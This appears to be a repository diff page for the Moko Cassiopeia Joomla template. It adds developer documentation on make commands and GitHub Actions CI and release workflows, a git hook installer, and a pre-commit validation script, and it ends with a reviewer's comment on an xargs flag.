make phpcs-fix
|
||||
|
||||
# PHPStan only
|
||||
make phpstan
|
||||
|
||||
# PHP compatibility check
|
||||
make phpcompat
|
||||
```
|
||||
|
||||
### Creating a Release Package
|
||||
|
||||
```bash
|
||||
# Package with auto-detected version
|
||||
make package
|
||||
|
||||
# Or specify directory and version
|
||||
./scripts/release/package_extension.sh dist 03.05.00
|
||||
|
||||
# Check package contents
|
||||
ls -lh dist/
|
||||
unzip -l dist/moko-cassiopeia-*.zip
|
||||
```
|
||||
|
||||
## VS Code Integration
|
||||
|
||||
If using VS Code, press `Ctrl+Shift+P` (or `Cmd+Shift+P` on Mac) and type "Run Task" to see available tasks:
|
||||
|
||||
- **Validate All** - Run all validation scripts (default test task)
|
||||
- **Validate Required** - Run only required validations
|
||||
- **PHP CodeSniffer** - Check code style
|
||||
- **PHP CodeSniffer - Auto Fix** - Fix code style issues
|
||||
- **PHPStan** - Static analysis
|
||||
- **Run Tests** - Execute all tests
|
||||
- **Create Package** - Build distribution ZIP
|
||||
- **Install Git Hooks** - Set up pre-commit hooks
|
||||
|
||||
## Available Make Commands
|
||||
|
||||
Run `make help` to see all available commands:
|
||||
|
||||
```bash
|
||||
make help # Show all commands
|
||||
make dev-setup # Complete environment setup
|
||||
make validate # Run all validations
|
||||
make test # Run all tests
|
||||
make quality # Check code quality
|
||||
make package # Create distribution package
|
||||
make clean # Remove generated files
|
||||
make check # Quick check (validate + quality)
|
||||
make all # Complete build pipeline
|
||||
```
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
moko-cassiopeia/
|
||||
├── src/ # Joomla template source
|
||||
│ ├── templates/ # Template files
|
||||
│ ├── media/ # Assets (CSS, JS, images)
|
||||
│ ├── language/ # Language files
|
||||
│ └── administrator/ # Admin files
|
||||
├── scripts/ # Automation scripts
|
||||
│ ├── validate/ # Validation scripts
|
||||
│ ├── fix/ # Fix/update scripts
|
||||
│ ├── release/ # Release scripts
|
||||
│ ├── run/ # Execution scripts
|
||||
│ ├── git/ # Git hooks
|
||||
│ └── lib/ # Shared libraries
|
||||
├── tests/ # Test suites
|
||||
├── docs/ # Documentation
|
||||
├── .github/workflows/ # CI/CD workflows
|
||||
├── Makefile # Make commands
|
||||
└── README.md # Project overview
|
||||
```
|
||||
|
||||
## Next Steps
|
||||
|
||||
### Learning the Workflow
|
||||
|
||||
1. **Read the Workflow Guide**: [docs/WORKFLOW_GUIDE.md](./WORKFLOW_GUIDE.md)
|
||||
2. **Review Joomla Development**: [docs/JOOMLA_DEVELOPMENT.md](./JOOMLA_DEVELOPMENT.md)
|
||||
3. **Check Scripts Documentation**: [scripts/README.md](../scripts/README.md)
|
||||
|
||||
### Creating Your First Feature
|
||||
|
||||
1. **Create a version branch** via GitHub Actions:
|
||||
- Go to Actions → Create version branch
|
||||
- Enter version (e.g., 03.06.00)
|
||||
- Select branch prefix: `dev/`
|
||||
- Run workflow
|
||||
|
||||
2. **Checkout the branch**:
|
||||
```bash
|
||||
git fetch origin
|
||||
git checkout dev/03.06.00
|
||||
```
|
||||
|
||||
3. **Make changes and test**:
|
||||
```bash
|
||||
# Edit files
|
||||
vim src/templates/index.php
|
||||
|
||||
# Validate
|
||||
make validate-required
|
||||
|
||||
# Check quality
|
||||
make quality
|
||||
```
|
||||
|
||||
4. **Commit and push**:
|
||||
```bash
|
||||
git add -A
|
||||
git commit -m "feat: your feature description"
|
||||
git push origin dev/03.06.00
|
||||
```
|
||||
|
||||
5. **Watch CI**: Check GitHub Actions for automated testing
|
||||
|
||||
### Understanding the Release Process
|
||||
|
||||
```
|
||||
Development → RC → Stable → Production
|
||||
(dev/) (rc/) (version/) (main)
|
||||
```
|
||||
|
||||
1. **dev/X.Y.Z** - Active development
|
||||
2. **rc/X.Y.Z** - Release candidate testing
|
||||
3. **version/X.Y.Z** - Stable release
|
||||
4. **main** - Production (auto-merged from version/)
|
||||
|
||||
Use the Release Pipeline workflow to promote between stages.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Scripts Not Executable
|
||||
|
||||
```bash
|
||||
make fix-permissions
|
||||
# Or manually:
|
||||
chmod +x scripts/**/*.sh
|
||||
```
|
||||
|
||||
### PHPStan/PHPCS Not Found
|
||||
|
||||
```bash
|
||||
make install
|
||||
# Or manually:
|
||||
composer global require squizlabs/php_codesniffer phpstan/phpstan
|
||||
```
|
||||
|
||||
### Pre-commit Hook Fails
|
||||
|
||||
```bash
|
||||
# Run manually to see details
|
||||
./scripts/git/pre-commit.sh
|
||||
|
||||
# Quick mode (skip some checks)
|
||||
./scripts/git/pre-commit.sh --quick
|
||||
|
||||
# Skip quality checks
|
||||
./scripts/git/pre-commit.sh --skip-quality
|
||||
|
||||
# Bypass hook (not recommended)
|
||||
git commit --no-verify
|
||||
```
|
||||
|
||||
### CI Workflow Fails
|
||||
|
||||
1. Check the workflow logs in GitHub Actions
|
||||
2. Run the same checks locally:
|
||||
```bash
|
||||
./scripts/validate/manifest.sh
|
||||
./scripts/validate/php_syntax.sh
|
||||
make quality
|
||||
```
|
||||
|
||||
### Need Help?
|
||||
|
||||
- **Documentation**: Check [docs/](../docs/) directory
|
||||
- **Issues**: Open an issue on GitHub
|
||||
- **Contributing**: See [CONTRIBUTING.md](../CONTRIBUTING.md)
|
||||
|
||||
## Best Practices
|
||||
|
||||
### Before Committing
|
||||
|
||||
```bash
|
||||
# Always validate first
|
||||
make validate-required
|
||||
|
||||
# Check quality for PHP changes
|
||||
make quality
|
||||
|
||||
# Run tests if you changed functionality
|
||||
make test
|
||||
```
|
||||
|
||||
### Code Style
|
||||
|
||||
- Follow PSR-12 standards
|
||||
- Use `make phpcs-fix` to auto-fix issues
|
||||
- Add SPDX license headers to new files
|
||||
- Keep functions small and focused
|
||||
|
||||
### Documentation
|
||||
|
||||
- Update docs when changing workflows
|
||||
- Add comments for complex logic
|
||||
- Update CHANGELOG.md with changes
|
||||
- Keep README.md current
|
||||
|
||||
### Version Management
|
||||
|
||||
- Use semantic versioning: Major.Minor.Patch (03.05.00)
|
||||
- Update CHANGELOG.md with all changes
|
||||
- Follow the version hierarchy: dev → rc → version → main
|
||||
- Never skip stages in the release process
|
||||
|
||||
## Useful Resources
|
||||
|
||||
- [Joomla Documentation](https://docs.joomla.org/)
|
||||
- [PSR-12 Coding Standard](https://www.php-fig.org/psr/psr-12/)
|
||||
- [Semantic Versioning](https://semver.org/)
|
||||
- [Conventional Commits](https://www.conventionalcommits.org/)
|
||||
|
||||
## Quick Reference Card
|
||||
|
||||
```bash
|
||||
# Setup
|
||||
make dev-setup # Initial setup
|
||||
./scripts/git/install-hooks.sh # Install hooks
|
||||
|
||||
# Development
|
||||
make validate-required # Quick validation
|
||||
make quality # Code quality
|
||||
make test # Run tests
|
||||
|
||||
# Building
|
||||
make package # Create ZIP
|
||||
|
||||
# Maintenance
|
||||
make clean # Clean generated files
|
||||
make fix-permissions # Fix script permissions
|
||||
|
||||
# Help
|
||||
make help # Show all commands
|
||||
./scripts/run/validate_all.sh --help # Script help
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**Document Version:** 1.0.0
|
||||
**Last Updated:** 2025-01-04
|
||||
**Get Started:** Run `make dev-setup` now!
|
||||
472
docs/WORKFLOW_GUIDE.md
Normal file
@@ -0,0 +1,472 @@
|
||||
# Workflow Guide - Moko Cassiopeia
|
||||
|
||||
Quick reference guide for GitHub Actions workflows and common development tasks.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Overview](#overview)
|
||||
- [Workflow Quick Reference](#workflow-quick-reference)
|
||||
- [Common Development Tasks](#common-development-tasks)
|
||||
- [Troubleshooting](#troubleshooting)
|
||||
- [Best Practices](#best-practices)
|
||||
|
||||
## Overview
|
||||
|
||||
This repository uses GitHub Actions for continuous integration, testing, quality checks, and deployment. All workflows are located in `.github/workflows/`.
|
||||
|
||||
### Workflow Execution Model
|
||||
|
||||
```
|
||||
┌─────────────────┐
|
||||
│ Code Changes │
|
||||
└────────┬────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ CI Pipeline │ ← Validation, Testing, Quality
|
||||
└────────┬────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Version Branch │ ← Create dev/X.Y.Z branch
|
||||
└────────┬────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Release Pipeline│ ← dev → rc → version → main
|
||||
└────────┬────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Distribution │ ← ZIP package + GitHub Release
|
||||
└─────────────────┘
|
||||
```
|
||||
|
||||
## Workflow Quick Reference
|
||||
|
||||
### Continuous Integration (ci.yml)
|
||||
|
||||
**Trigger:** Automatic on push/PR to main, dev/*, rc/*, version/* branches
|
||||
|
||||
**Purpose:** Validates code quality and repository structure
|
||||
|
||||
**What it does:**
|
||||
- ✅ Validates Joomla manifest XML
|
||||
- ✅ Checks XML well-formedness
|
||||
- ✅ Validates GitHub Actions workflows
|
||||
- ✅ Runs PHP syntax checks
|
||||
- ✅ Checks for secrets in code
|
||||
- ✅ Validates license headers
|
||||
- ✅ Verifies version alignment
|
||||
|
||||
**When to check:** After every commit
|
||||
|
||||
**How to view results:**
|
||||
```bash
|
||||
# Via GitHub CLI
|
||||
gh run list --workflow=ci.yml --limit 5
|
||||
gh run view <run-id> --log
|
||||
```
|
||||
|
||||
### PHP Quality Checks (php_quality.yml)
|
||||
|
||||
**Trigger:** Automatic on push/PR to main, dev/*, rc/*, version/* branches
|
||||
|
||||
**Purpose:** Ensures PHP code quality and compatibility
|
||||
|
||||
**What it does:**
|
||||
- 🔍 PHPStan static analysis (level 5)
|
||||
- 📏 PHP_CodeSniffer with PSR-12 standards
|
||||
- ✔️ PHP 8.0+ compatibility checks
|
||||
|
||||
**Matrix:** PHP 8.0, 8.1, 8.2, 8.3
|
||||
|
||||
**When to check:** Before committing PHP changes
|
||||
|
||||
**How to run locally:**
|
||||
```bash
|
||||
# Install tools
|
||||
composer global require squizlabs/php_codesniffer phpstan/phpstan
|
||||
|
||||
# Run checks
|
||||
phpcs --standard=phpcs.xml src/
|
||||
phpstan analyse --configuration=phpstan.neon
|
||||
```
|
||||
|
||||
### Joomla Testing (joomla_testing.yml)
|
||||
|
||||
**Trigger:** Automatic on push/PR to main, dev/*, rc/* branches
|
||||
|
||||
**Purpose:** Tests template compatibility with Joomla versions
|
||||
|
||||
**What it does:**
|
||||
- 📦 Downloads and installs Joomla (4.4, 5.0, 5.1)
|
||||
- 🔧 Installs template into Joomla
|
||||
- ✅ Validates template installation
|
||||
- 🧪 Runs Codeception tests
|
||||
|
||||
**Matrix:** Joomla 4.4/5.0/5.1 × PHP 8.0/8.1/8.2/8.3
|
||||
|
||||
**When to check:** Before releasing new versions
|
||||
|
||||
**How to test locally:**
|
||||
```bash
|
||||
# See docs/JOOMLA_DEVELOPMENT.md for local testing setup
|
||||
codecept run
|
||||
```
|
||||
|
||||
### Version Branch Creation (version_branch.yml)
|
||||
|
||||
**Trigger:** Manual workflow dispatch
|
||||
|
||||
**Purpose:** Creates a new version branch and bumps version numbers
|
||||
|
||||
**What it does:**
|
||||
- 🏷️ Creates dev/*, rc/*, or version/* branch
|
||||
- 📝 Updates version in all files
|
||||
- 📅 Updates manifest dates
|
||||
- 📋 Moves CHANGELOG unreleased to version
|
||||
- ✅ Validates version hierarchy
|
||||
|
||||
**When to use:** Starting work on a new version
|
||||
|
||||
**How to run:**
|
||||
1. Go to Actions → Create version branch
|
||||
2. Click "Run workflow"
|
||||
3. Enter version (e.g., 03.05.00)
|
||||
4. Select branch prefix (dev/, rc/, or version/)
|
||||
5. Click "Run workflow"
|
||||
|
||||
**Example:**
|
||||
```yaml
|
||||
new_version: 03.06.00
|
||||
branch_prefix: dev/
|
||||
version_text: beta
|
||||
```
|
||||
|
||||
### Release Pipeline (release_pipeline.yml)
|
||||
|
||||
**Trigger:** Manual workflow dispatch or release event
|
||||
|
||||
**Purpose:** Promotes branches through release stages and creates distributions
|
||||
|
||||
**What it does:**
|
||||
- 🔄 Promotes branches: dev → rc → version → main
|
||||
- 📅 Normalizes dates in manifest and CHANGELOG
|
||||
- 📦 Builds distributable ZIP package
|
||||
- 🚀 Uploads to SFTP server
|
||||
- 🏷️ Creates Git tag
|
||||
- 📋 Creates GitHub Release
|
||||
- 🔒 Attests build provenance
|
||||
|
||||
**When to use:** Promoting a version through release stages
|
||||
|
||||
**How to run:**
|
||||
1. Go to Actions → Release Pipeline
|
||||
2. Click "Run workflow"
|
||||
3. Select classification (auto/rc/stable)
|
||||
4. Click "Run workflow"
|
||||
|
||||
**Release flow:**
|
||||
```
|
||||
dev/X.Y.Z → rc/X.Y.Z → version/X.Y.Z → main
|
||||
(dev) (RC) (stable) (production)
|
||||
```
|
||||
|
||||
### Deploy to Staging (deploy_staging.yml)
|
||||
|
||||
**Trigger:** Manual workflow dispatch
|
||||
|
||||
**Purpose:** Deploys template to staging/development environments
|
||||
|
||||
**What it does:**
|
||||
- ✅ Validates deployment prerequisites
|
||||
- 📦 Builds deployment package
|
||||
- 🚀 Uploads via SFTP to environment
|
||||
- 📝 Creates deployment summary
|
||||
|
||||
**When to use:** Testing in staging before production release
|
||||
|
||||
**How to run:**
|
||||
1. Go to Actions → Deploy to Staging
|
||||
2. Click "Run workflow"
|
||||
3. Select environment (staging/development/preview)
|
||||
4. Optionally specify version
|
||||
5. Click "Run workflow"
|
||||
|
||||
**Required secrets:**
|
||||
- `STAGING_HOST` - SFTP hostname
|
||||
- `STAGING_USER` - SFTP username
|
||||
- `STAGING_KEY` - SSH private key (or `STAGING_PASSWORD`)
|
||||
- `STAGING_PATH` - Remote deployment path
|
||||
|
||||
### Repository Health (repo_health.yml)
|
||||
|
||||
**Trigger:** Manual workflow dispatch (admin only)
|
||||
|
||||
**Purpose:** Comprehensive repository health and configuration checks
|
||||
|
||||
**What it does:**
|
||||
- 🔐 Validates release configuration
|
||||
- 🌐 Tests SFTP connectivity
|
||||
- 📂 Checks scripts governance
|
||||
- 📄 Validates required artifacts
|
||||
- 🔍 Extended checks (SPDX, ShellCheck, etc.)
|
||||
|
||||
**When to use:** Before major releases or when debugging deployment issues
|
||||
|
||||
**How to run:**
|
||||
1. Go to Actions → Repo Health
|
||||
2. Click "Run workflow"
|
||||
3. Select profile (all/release/scripts/repo)
|
||||
4. Click "Run workflow"
|
||||
|
||||
**Profiles:**
|
||||
- `all` - Run all checks
|
||||
- `release` - Release configuration and SFTP only
|
||||
- `scripts` - Scripts governance only
|
||||
- `repo` - Repository health only
|
||||
|
||||
## Common Development Tasks
|
||||
|
||||
### Starting a New Feature
|
||||
|
||||
```bash
|
||||
# 1. Create a new version branch via GitHub Actions
|
||||
# Actions → Create version branch → dev/X.Y.Z
|
||||
|
||||
# 2. Clone and checkout the new branch
|
||||
git fetch origin
|
||||
git checkout dev/X.Y.Z
|
||||
|
||||
# 3. Make your changes
|
||||
vim src/templates/index.php
|
||||
|
||||
# 4. Validate locally
|
||||
./scripts/validate/php_syntax.sh
|
||||
./scripts/validate/manifest.sh
|
||||
|
||||
# 5. Commit and push
|
||||
git add -A
|
||||
git commit -m "feat: add new feature"
|
||||
git push origin dev/X.Y.Z
|
||||
```
|
||||
|
||||
### Running All Validations Locally
|
||||
|
||||
```bash
|
||||
# Run comprehensive validation suite
|
||||
./scripts/run/validate_all.sh
|
||||
|
||||
# Run with verbose output
|
||||
./scripts/run/validate_all.sh -v
|
||||
|
||||
# Run smoke tests
|
||||
./scripts/run/smoke_test.sh
|
||||
```
|
||||
|
||||
### Creating a Release Package
|
||||
|
||||
```bash
|
||||
# Package with auto-detected version
|
||||
./scripts/release/package_extension.sh
|
||||
|
||||
# Package with specific version
|
||||
./scripts/release/package_extension.sh dist 03.05.00
|
||||
|
||||
# Verify package contents
|
||||
unzip -l dist/moko-cassiopeia-*.zip
|
||||
```
|
||||
|
||||
### Updating Version Numbers
|
||||
|
||||
```bash
|
||||
# Via GitHub Actions (recommended)
|
||||
# Actions → Create version branch
|
||||
|
||||
# Or manually with scripts
|
||||
./scripts/fix/versions.sh 03.05.00
|
||||
```
|
||||
|
||||
### Updating CHANGELOG
|
||||
|
||||
```bash
|
||||
# Add new version entry
|
||||
./scripts/release/update_changelog.sh 03.05.00
|
||||
|
||||
# Update release dates
|
||||
./scripts/release/update_dates.sh 2025-01-15 03.05.00
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### CI Failures
|
||||
|
||||
#### PHP Syntax Errors
|
||||
|
||||
```bash
|
||||
# Check specific file
|
||||
php -l src/templates/index.php
|
||||
|
||||
# Run validation script
|
||||
./scripts/validate/php_syntax.sh
|
||||
```
|
||||
|
||||
#### Manifest Validation Failed
|
||||
|
||||
```bash
|
||||
# Validate manifest XML
|
||||
./scripts/validate/manifest.sh
|
||||
|
||||
# Check XML well-formedness
|
||||
./scripts/validate/xml_wellformed.sh
|
||||
```
|
||||
|
||||
#### Version Alignment Issues
|
||||
|
||||
```bash
|
||||
# Check version in manifest matches CHANGELOG
|
||||
./scripts/validate/version_alignment.sh
|
||||
|
||||
# Fix versions
|
||||
./scripts/fix/versions.sh 03.05.00
|
||||
```
|
||||
|
||||
### Workflow Failures
|
||||
|
||||
#### "Permission denied" on scripts
|
||||
|
||||
```bash
|
||||
# Fix script permissions
|
||||
chmod +x scripts/**/*.sh
|
||||
```
|
||||
|
||||
#### "Branch already exists"
|
||||
|
||||
```bash
|
||||
# Check existing branches
|
||||
git branch -r | grep dev/
|
||||
|
||||
# Delete remote branch if needed (carefully!)
|
||||
git push origin --delete dev/03.05.00
|
||||
```
|
||||
|
||||
#### "Missing required secrets"
|
||||
|
||||
Go to repository Settings → Secrets and variables → Actions, and add:
|
||||
- `FTP_HOST`
|
||||
- `FTP_USER`
|
||||
- `FTP_KEY` or `FTP_PASSWORD`
|
||||
- `FTP_PATH`
|
||||
|
||||
#### SFTP Connection Failed
|
||||
|
||||
1. Verify credentials in repo_health workflow:
|
||||
- Actions → Repo Health → profile: release
|
||||
|
||||
2. Check SSH key format (OpenSSH, not PuTTY PPK)
|
||||
|
||||
3. Verify server allows connections from GitHub IPs
|
||||
|
||||
### Quality Check Failures
|
||||
|
||||
#### PHPStan Errors
|
||||
|
||||
```bash
|
||||
# Run locally to see full output
|
||||
phpstan analyse --configuration=phpstan.neon
|
||||
|
||||
# Generate baseline to ignore existing issues
|
||||
phpstan analyse --configuration=phpstan.neon --generate-baseline
|
||||
```
|
||||
|
||||
#### PHPCS Violations
|
||||
|
||||
```bash
|
||||
# Check violations
|
||||
phpcs --standard=phpcs.xml src/
|
||||
|
||||
# Auto-fix where possible
|
||||
phpcbf --standard=phpcs.xml src/
|
||||
|
||||
# Show specific error codes
|
||||
phpcs --standard=phpcs.xml --report=source src/
|
||||
```
|
||||
|
||||
#### Joomla Testing Failed
|
||||
|
||||
1. Check PHP/Joomla version matrix compatibility
|
||||
2. Review MySQL connection errors
|
||||
3. Verify template manifest structure
|
||||
4. Check template file paths
|
||||
|
||||
## Best Practices
|
||||
|
||||
### Version Management
|
||||
|
||||
1. **Always use version branches:** dev/X.Y.Z, rc/X.Y.Z, version/X.Y.Z
|
||||
2. **Follow hierarchy:** dev → rc → version → main
|
||||
3. **Update CHANGELOG:** Document all changes in Unreleased section
|
||||
4. **Semantic versioning:** Major.Minor.Patch (03.05.00)
|
||||
|
||||
### Code Quality
|
||||
|
||||
1. **Run validations locally** before pushing
|
||||
2. **Fix PHPStan warnings** at level 5
|
||||
3. **Follow PSR-12** coding standards
|
||||
4. **Add SPDX license headers** to new files
|
||||
5. **Keep functions small** and well-documented
|
||||
|
||||
### Workflow Usage
|
||||
|
||||
1. **Use CI for every commit** - automated validation
|
||||
2. **Run repo_health before releases** - comprehensive checks
|
||||
3. **Test on staging first** - never deploy directly to production
|
||||
4. **Monitor workflow runs** - fix failures promptly
|
||||
5. **Review workflow logs** - understand what changed
|
||||
|
||||
### Release Process
|
||||
|
||||
1. **Create dev branch** → Work on features
|
||||
2. **Promote to rc** → Release candidate testing
|
||||
3. **Promote to version** → Stable release
|
||||
4. **Merge to main** → Production (auto-merged via PR)
|
||||
5. **Create GitHub Release** → Public distribution
|
||||
|
||||
### Security
|
||||
|
||||
1. **Never commit secrets** - use GitHub Secrets
|
||||
2. **Use SSH keys** for SFTP (not passwords)
|
||||
3. **Scan for secrets** - runs automatically in CI
|
||||
4. **Keep dependencies updated** - security patches
|
||||
5. **Review security advisories** - GitHub Dependabot
|
||||
|
||||
### Documentation
|
||||
|
||||
1. **Update docs with code** - keep in sync
|
||||
2. **Document workflow changes** - update this guide
|
||||
3. **Add examples** - show, don't just tell
|
||||
4. **Link to relevant docs** - cross-reference
|
||||
5. **Keep README current** - first impression matters
|
||||
|
||||
## Quick Links
|
||||
|
||||
- [Main README](../README.md) - Project overview
|
||||
- [Joomla Development Guide](./JOOMLA_DEVELOPMENT.md) - Testing and quality
|
||||
- [Scripts README](../scripts/README.md) - Script documentation
|
||||
- [CHANGELOG](../CHANGELOG.md) - Version history
|
||||
- [CONTRIBUTING](../CONTRIBUTING.md) - Contribution guidelines
|
||||
|
||||
## Getting Help
|
||||
|
||||
1. **Check workflow logs** - Most issues have clear error messages
|
||||
2. **Review this guide** - Common solutions documented
|
||||
3. **Run validation scripts** - Identify specific issues
|
||||
4. **Open an issue** - For bugs or questions
|
||||
5. **Contact maintainers** - For access or configuration issues
|
||||
|
||||
---
|
||||
|
||||
**Document Version:** 1.0.0
|
||||
**Last Updated:** 2025-01-04
|
||||
**Maintained by:** Moko Consulting Engineering
|
||||
56
scripts/git/install-hooks.sh
Executable file
@@ -0,0 +1,56 @@
|
||||
#!/usr/bin/env bash
|
||||
# Install Git hooks for Moko Cassiopeia
|
||||
# Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
#
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
#
|
||||
# FILE INFORMATION
|
||||
# DEFGROUP: Moko-Cassiopeia.Scripts
|
||||
# INGROUP: Scripts.Git
|
||||
# REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
# FILE: ./scripts/git/install-hooks.sh
|
||||
# VERSION: 01.00.00
|
||||
# BRIEF: Install Git hooks for local development
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
REPO_ROOT="$(cd "${SCRIPT_DIR}/.." && pwd)"
|
||||
|
||||
echo "Installing Git hooks..."
|
||||
echo ""
|
||||
|
||||
# Create .git/hooks directory if it doesn't exist
|
||||
mkdir -p "${REPO_ROOT}/.git/hooks"
|
||||
|
||||
# Install pre-commit hook
|
||||
PRE_COMMIT_HOOK="${REPO_ROOT}/.git/hooks/pre-commit"
|
||||
cat > "${PRE_COMMIT_HOOK}" <<'EOF'
|
||||
#!/usr/bin/env bash
|
||||
# Pre-commit hook - installed by scripts/git/install-hooks.sh
|
||||
|
||||
SCRIPT_DIR="$(git rev-parse --show-toplevel)/scripts/git"
|
||||
|
||||
if [ -f "${SCRIPT_DIR}/pre-commit.sh" ]; then
|
||||
exec "${SCRIPT_DIR}/pre-commit.sh" "$@"
|
||||
else
|
||||
echo "Error: pre-commit.sh not found in ${SCRIPT_DIR}"
|
||||
exit 1
|
||||
fi
|
||||
EOF
|
||||
|
||||
chmod +x "${PRE_COMMIT_HOOK}"
|
||||
|
||||
echo "✓ Installed pre-commit hook"
|
||||
echo ""
|
||||
echo "The pre-commit hook will run automatically before each commit."
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " - Skip hook: git commit --no-verify"
|
||||
echo " - Quick mode: ./scripts/git/pre-commit.sh --quick"
|
||||
echo " - Skip quality checks: ./scripts/git/pre-commit.sh --skip-quality"
|
||||
echo ""
|
||||
echo "To uninstall hooks:"
|
||||
echo " rm .git/hooks/pre-commit"
|
||||
echo ""
|
||||
echo "Done!"
|
||||
272
scripts/git/pre-commit.sh
Executable file
@@ -0,0 +1,272 @@
|
||||
#!/usr/bin/env bash
|
||||
# Pre-commit hook script for Moko Cassiopeia
|
||||
# Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
#
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
#
|
||||
# FILE INFORMATION
|
||||
# DEFGROUP: Moko-Cassiopeia.Scripts
|
||||
# INGROUP: Scripts.Git
|
||||
# REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
# FILE: ./scripts/git/pre-commit.sh
|
||||
# VERSION: 01.00.00
|
||||
# BRIEF: Pre-commit hook for local validation
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
. "${SCRIPT_DIR}/lib/common.sh"
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
log_success() {
|
||||
echo -e "${GREEN}✓${NC} $*"
|
||||
}
|
||||
|
||||
log_warning() {
|
||||
echo -e "${YELLOW}⚠${NC} $*"
|
||||
}
|
||||
|
||||
log_error() {
|
||||
echo -e "${RED}✗${NC} $*"
|
||||
}
|
||||
|
||||
log_header() {
|
||||
echo ""
|
||||
echo "================================"
|
||||
echo "$*"
|
||||
echo "================================"
|
||||
}
|
||||
|
||||
# Parse arguments
|
||||
SKIP_TESTS=false
|
||||
SKIP_QUALITY=false
|
||||
QUICK_MODE=false
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--skip-tests)
|
||||
SKIP_TESTS=true
|
||||
shift
|
||||
;;
|
||||
--skip-quality)
|
||||
SKIP_QUALITY=true
|
||||
shift
|
||||
;;
|
||||
--quick)
|
||||
QUICK_MODE=true
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
echo "Usage: pre-commit.sh [--skip-tests] [--skip-quality] [--quick]"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
log_header "Pre-commit Validation"
|
||||
|
||||
# Get list of staged files
|
||||
STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR)
|
||||
|
||||
if [ -z "$STAGED_FILES" ]; then
|
||||
log_warning "No staged files to check"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Checking staged files:"
|
||||
echo "$STAGED_FILES" | sed 's/^/ - /'
|
||||
echo ""
|
||||
|
||||
# Track failures
|
||||
FAILURES=0
|
||||
|
||||
# Check 1: PHP Syntax
|
||||
log_header "Checking PHP Syntax"
|
||||
PHP_FILES=$(echo "$STAGED_FILES" | grep '\.php$' || true)
|
||||
|
||||
if [ -n "$PHP_FILES" ]; then
|
||||
while IFS= read -r file; do
|
||||
if [ -f "$file" ]; then
|
||||
if php -l "$file" > /dev/null 2>&1; then
|
||||
log_success "PHP syntax OK: $file"
|
||||
else
|
||||
log_error "PHP syntax error: $file"
|
||||
php -l "$file"
|
||||
FAILURES=$((FAILURES + 1))
|
||||
fi
|
||||
fi
|
||||
done <<< "$PHP_FILES"
|
||||
else
|
||||
echo " No PHP files to check"
|
||||
fi
|
||||
|
||||
# Check 2: XML Well-formedness
|
||||
log_header "Checking XML Files"
|
||||
XML_FILES=$(echo "$STAGED_FILES" | grep '\.xml$' || true)
|
||||
|
||||
if [ -n "$XML_FILES" ]; then
|
||||
while IFS= read -r file; do
|
||||
if [ -f "$file" ]; then
|
||||
if xmllint --noout "$file" 2>/dev/null; then
|
||||
log_success "XML well-formed: $file"
|
||||
else
|
||||
log_error "XML malformed: $file"
|
||||
xmllint --noout "$file" || true
|
||||
FAILURES=$((FAILURES + 1))
|
||||
fi
|
||||
fi
|
||||
done <<< "$XML_FILES"
|
||||
else
|
||||
echo " No XML files to check"
|
||||
fi
|
||||
|
||||
# Check 3: YAML Syntax
|
||||
log_header "Checking YAML Files"
|
||||
YAML_FILES=$(echo "$STAGED_FILES" | grep -E '\.(yml|yaml)$' || true)
|
||||
|
||||
if [ -n "$YAML_FILES" ]; then
|
||||
while IFS= read -r file; do
|
||||
if [ -f "$file" ]; then
|
||||
# Use printf to safely pass the file path, avoiding injection
|
||||
if python3 -c "import sys, yaml; yaml.safe_load(open(sys.argv[1]))" "$file" 2>/dev/null; then
|
||||
log_success "YAML valid: $file"
|
||||
else
|
||||
log_error "YAML invalid: $file"
|
||||
python3 -c "import sys, yaml; yaml.safe_load(open(sys.argv[1]))" "$file" || true
|
||||
FAILURES=$((FAILURES + 1))
|
||||
fi
|
||||
fi
|
||||
done <<< "$YAML_FILES"
|
||||
else
|
||||
echo " No YAML files to check"
|
||||
fi
|
||||
|
||||
# Check 4: Trailing Whitespace
|
||||
log_header "Checking for Trailing Whitespace"
|
||||
TEXT_FILES=$(echo "$STAGED_FILES" | grep -vE '\.(png|jpg|jpeg|gif|svg|ico|zip|gz|woff|woff2|ttf)$' || true)
|
||||
|
||||
if [ -n "$TEXT_FILES" ]; then
|
||||
TRAILING_WS=$(echo "$TEXT_FILES" | xargs grep -n '[[:space:]]$' 2>/dev/null || true)
|
||||
|
On line 155, 'xargs' is called without the '-r' flag. If 'TEXT_FILES' is empty (which is possible when no text files are staged), xargs will still wait for input from stdin, causing the script to hang or fail unexpectedly. Add the '-r' flag to xargs to prevent running the command when there's no input. On line 155, 'xargs' is called without the '-r' flag. If 'TEXT_FILES' is empty (which is possible when no text files are staged), xargs will still wait for input from stdin, causing the script to hang or fail unexpectedly. Add the '-r' flag to xargs to prevent running the command when there's no input.
```suggestion
